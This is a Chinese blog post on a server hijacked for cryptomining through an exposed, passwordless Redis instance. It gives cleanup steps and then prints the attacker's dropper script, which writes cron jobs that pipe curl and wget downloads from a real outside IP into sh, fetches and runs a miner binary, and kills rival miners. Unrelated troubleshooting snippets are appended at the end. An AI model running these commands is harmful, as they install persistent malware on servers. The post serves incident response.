记一次服务器被挖矿经历与解决办法

记一次服务器被挖矿经历与解决办法






在最近的某一天里面,中午的一个小息过后,突然手机的邮件和公众号监控zabbix的告警多了起来。我拿起手机一看原来是某台服务器上的CPU跑满了,就开始登上去看一下是哪个脚本导致负荷高的(在期间使用top -d 1命令查看负荷占用情况)。可以静下来想了下,中午大家都在休息不应该CPU负载会这么高的,心里想80%是服务器被黑了。

后来发现是/tmp/ddgs.3013和/tmp/qW3xT.2这两个文件跑满了服务器CPU,后来决定先kill掉文件PID和删除/tmp目录下的文件,发现一删除就自动创建上了,怎么删除也不能解决掉。经过一系列的查找问题之后发现了crontab上把以前配置都覆盖掉了加上了一条(/5 * wget -q -O- http://165.225.157.157:8000/i.sh | sh)下载一个脚本的命令,但是第一时间就想到服务器被黑了。因为第一次遇见的原因当时心里“小鹿乱转”,后来查了点资料和问了一些同行才知道原来服务器被挖矿了,在度娘里面搜索到的很吓人。







既然已经知道了是被什么gongji(51这也算是敏感字??)的了,也排查到它是经过扫描到我redis端口来黑的,那就对症下药吧!

  • 先在防火墙上设置redis端口限制在内网
  • 在排查下redis是否有设置密码
    vim  /usr/local/redis/redis.conf
    requirepass yourpassword
  • 清除crontab的配置
    echo > /var/spool/cron/root
    # 或者
    systemctl stop crond
  • kill掉占用CPU高的两个文件
    ps -ef | grep /tmp/ddgs.3013 | awk ‘{print $2}‘ | xargs kill -9
    ps -ef | grep /tmp/qW3xT.2 | awk ‘{print $2}‘ | xargs kill -9
  • 最后一步删除/tmp目录下两个文件
    rm -rf /tmp/ddgs.3013
    rm -rf /tmp/qW3xT.2

    慢慢负载才降了下来,真的是心惊胆战啊,睡个觉就出现被挖矿的问题!后来回想了一下出现这种问题不外乎两种

  • 1、把redis端口暴露在外网
  • 2、redis没设置密码(因为本人是测试环境,偷了下懒没设置密码)

    本人很不才两种错误都犯了,也特此提醒自己以后这种错误别在犯了。最后提供上这个脚本的具体内容:

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL http://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/root
echo "*/5 * * * * wget -q -O- http://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/crontabs/root
echo "*/5 * * * * wget -q -O- http://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/crontabs/root

ps auxf | grep -v grep | grep /tmp/ddgs.3011 || rm -rf /tmp/ddgs.3011
if [ ! -f "/tmp/ddgs.3011" ]; then
    curl -fsSL http://165.225.157.157:8000/static/3011/ddgs.$(uname -m) -o /tmp/ddgs.3011
fi
chmod +x /tmp/ddgs.3011 && /tmp/ddgs.3011

ps auxf | grep -v grep | grep Circle_MI | awk ‘{print $2}‘ | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk ‘{print $2}‘ | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk ‘{print $2}‘ | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk ‘{print $2}‘ | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk ‘{print $2}‘ | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk ‘{print $2}‘ | xargs kill

原文地址:http://blog.51cto.com/legehappy/2152838

时间: 2024-12-19 02:38:45

记一次服务器被挖矿经历与解决办法的相关文章

arcgis安装msi安装包提示"在未标记为正在运行时,调用了RunScript”解决办法

安装msi安装包提示"在未标记为正在运行时,调用了RunScript”解决办法 windows/temp目录相关权限不对,右击temp文件夹,选择管理员获取所有权限.

安装IIS之后运行aspx 显示“服务器应用程序不可用” 解决办法

引起这个的原因大概是现安装了.Net Framework,后装的IIS导致.Net没有在IIS里注册.  另外,还有可能是ASPNET账户没有IIS所指定服务器目录的权限.在资源管理器中找到“工具-文件夹选项-查看-使用简单文件夹共享(推荐)”,把前面的勾去掉,然后在服务器指定目录上点右键,属性-安全-添加-高级-立即查找,把ASPNET这个账户添加进去,给它指定完全访问的权限.这样做了以后就会发现没有了那个错误,不过如果访问数据库可能有会提示ASPNET这个账户没有权限访问数据库.这个提示就清

创建link server链接服务器碰到的问题及解决办法

问题描述 今天在做数据库迁移,然后新建link server(链接服务器)的时候,碰到以下问题. 我的sql 脚本是这样的. 然后,执行的时候就收到以下错误信息. Msg 468, Level 16, State 9, Line 7 Cannot resolve the collation conflict between "Latin1_General_CI_AS" and "SQL_Latin1_General_CP1_CI_AS" in the equal t

AD域中客户端时间与服务器时间不同步的解决办法

公司考勤用的是国内一家OA软件里的考勤模块,个人在电脑上在规定时间内登记的形式,客户端都是采取域用户登录的形式,电脑客户端的时间显示比OA登记的时间晚两分钟,[注:OA服务器上安装有时间校正软件iTimeSync,确保OA服务器时间一直保持与标准时间一致],其次每次电脑客户端慢两分钟,大家就晚两分钟下班,久而久之大家发现电脑时间老是与手机的时间慢两分钟就不高兴了, 信息反馈到了信息中心,要求信息中心把大家的时间调整一致,因为域用户无法修改时间,即使你修改后重启电脑后时间又与AD同步了. 域中的计

关于jdk配置正确但是tomcat服务器启动时一闪而过的解决办法

首先JDK配置没有问题,在控制台窗口下键入java或javac命令没有错误,然后排出tomcat服务器也没有放在有中文的文件夹下.但是tomcat服务无启动时候只是一闪而过.在命令行窗口下键入startup.bat时提示如下图: 提示JRE_HOME环境变量没有正确配置.解决办法在系统环境变量中加入jre_home环境变量,如下图:首先新建环境变量.变量名:jre_home,变量值:“jre所在路径” 然后再path变量中添加进刚刚新建的jre_home变量如下图: 好了再次启动tomcat启动

通过IIS操作修改服务器文件没有权限的解决办法

时间有限,只写解决办法! 问题描述:通过部署在IIS上的程序去操做文件(比如删除.旋转图片等)时,在本地执行没有问题,但是部署到服务器上提示"没有权限". 解决方法:找到你需要操作的文件的根文件夹,右键点击属性 选择"安全"选项->"编辑" 添加新角色 点击高级,可以检索出需要的角色 点击立即查找,选中IIS_IUSRS,确定 给IIS_IUSRS赋予"修改"的权限. 这样就可以通过IIS修改远程服务器上的文件了!

SVN使用svn+ssh协议连接服务器时重复提示输入密码 解决办法

TortoiseSVN使用svn+ssh协议连接服务器时重复提示输入密码 当使用svn+ssh协议连接svn服务器时,ssh会提示请求认证,由于不是svn客户端程序来完成ssh的认证,所以不会缓存密码. 而svn客户端通常会建立多个版本库的连接,当密码没有缓存的时候,就会重复不断的提示输入密码. 解决办法是在TortoiseSVN的网络设置里指定SSH客户端使用TortoisePlink.exe并增加-pw password参数和-l username参数. 最终的命令行如下: “C:Progr

Linux客户机访问FTP服务器常见的问题及解决办法

在Linux系统中,搭建一个服务,就是修改其配置文件,一般情况下,配置文件的修改出现问题的概率不大,多半是一些其他因素导致客户机与服务器之间访问出现问题,下面就针对客户机访问FTP服务器常出现的一些问题找出解决办法.其他服务的解决办法也类似.1.客户机无法访问FTP服务器如果说客户机无法访问FTP服务器多半是防火墙的作怪,iptables 防火墙管理工具默认禁止了 FTP 传输协议的端口号,因此在正式配置 vsftpd 服务程序之前,为了避免这些默认的防火墙策略"捣乱",还需要清空 i

记一次服务器密钥失效经历

早上来公司,收到这个消息,我的心是崩溃的. “tim老师,测试服务器的远程登录密钥失效了”,我问他,做了什么改动没,得到的确切回复是“只是上传了一些代码”,再次询问下,坚持只上传了些代码,言之凿凿.这个问题可大了,1. 就这个机器而言,没有做任何事,“只是上传了代码”就导致用了两年的密钥不能用了,这个机器是着急用来搭建测试服务器的.这个测试服务器已经搭建了一个多星期了,之前一直说代码没准备好,现在又蹦出这个,真是幺蛾子啊.2. 所有包括正式的服务器与测试服务器一共11台.要是所有的服务器都在某个